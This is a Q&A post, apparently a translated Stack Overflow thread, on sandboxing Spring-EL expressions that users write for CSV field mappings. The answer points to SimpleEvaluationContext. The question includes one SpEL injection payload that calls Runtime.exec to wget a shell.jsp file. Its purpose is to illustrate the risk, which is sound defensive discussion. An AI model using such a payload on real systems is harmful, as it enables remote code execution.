Spring-EL 表达式可以在沙箱中执行吗?

Can Spring-EL expressions be executed within a sandbox?

我正在使用 Spring-EL 创建动态 csv 字段到 class 字段映射,用于不同的 Spring-批量导入作业。 (不同的输入文件,相同的输出 classes)。这工作得很好,但想法是用户必须能够创建这样的映射配置。

问题是Spring-EL表达式不是在某种沙盒中执行的,因此很容易注入恶意代码。例如:

name: T(java.lang.Runtime).getRuntime().exec("wget http://localhost:8090/shell.jsp")

我的问题是,我如何才能在某种沙箱中 运行 Spring-EL 或仅限制对一组特定 methods/classes 的访问?我找不到与此主题相关的任何内容。也许 Spring-EL 不是这份工作的正确选择。

我尝试实现的示例:

name: column[0]
category: concat(' ', column[18], column[19])
age: split(column[3], '/', 0)

SimpleEvaluationContext 旨在减少应用程序漏洞。

有关详细信息,请参阅 https://docs.spring.io/spring/docs/5.1.2.RELEASE/spring-framework-reference/core.html#expressions-evaluation-context

SimpleEvaluationContext is designed to support only a subset of the SpEL language syntax. It excludes Java type references, constructors, and bean references. It also requires you to explicitly choose the level of support for properties and methods in expressions. By default, the create() static factory method enables only read access to properties.